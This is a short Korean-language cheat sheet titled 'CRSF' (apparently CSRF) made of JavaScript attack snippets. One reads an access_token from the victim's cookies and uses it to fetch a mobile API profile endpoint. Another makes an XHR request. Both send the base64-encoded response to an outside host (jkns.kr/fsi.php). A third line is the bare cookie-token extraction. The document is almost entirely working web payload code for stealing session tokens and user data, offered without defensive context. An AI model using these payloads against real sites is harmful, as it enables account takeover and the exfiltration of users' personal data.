CRSF

1. fetch 이용하기

var auth = document.cookie.match('(^|;) ?access_token=([^;]*)(;|$)')[2]

fetch('/mobile-api/rest/api/v1/mobile/me/profile/',{
    headers: {
        Authorization: 'Bearer ' + auth
    }
}).then(a=>a.text()).then(a=>{location='http://jkns.kr/fsi.php?a='+(btoa(encodeURIComponent(a)))})

2. XHR 이용하기

const xhr = new XMLHttpRequest();
xhr.open("GET", "http://jkns.kr/test.html");  
xhr.onreadystatechange = function () {  
const { target } = event;  
if (target.readyState === XMLHttpRequest.DONE) {
    console.log(target.responseText);
    location="http://jkns.kr/fsi.php?a="+btoa(unescape(encodeURIComponent(target.responseText)));
} 
};

xhr.send();

3. 특정 쿠키값 가져오기

document.cookie.match('(^|;) ?access_token=([^;]*)(;|$)')[2]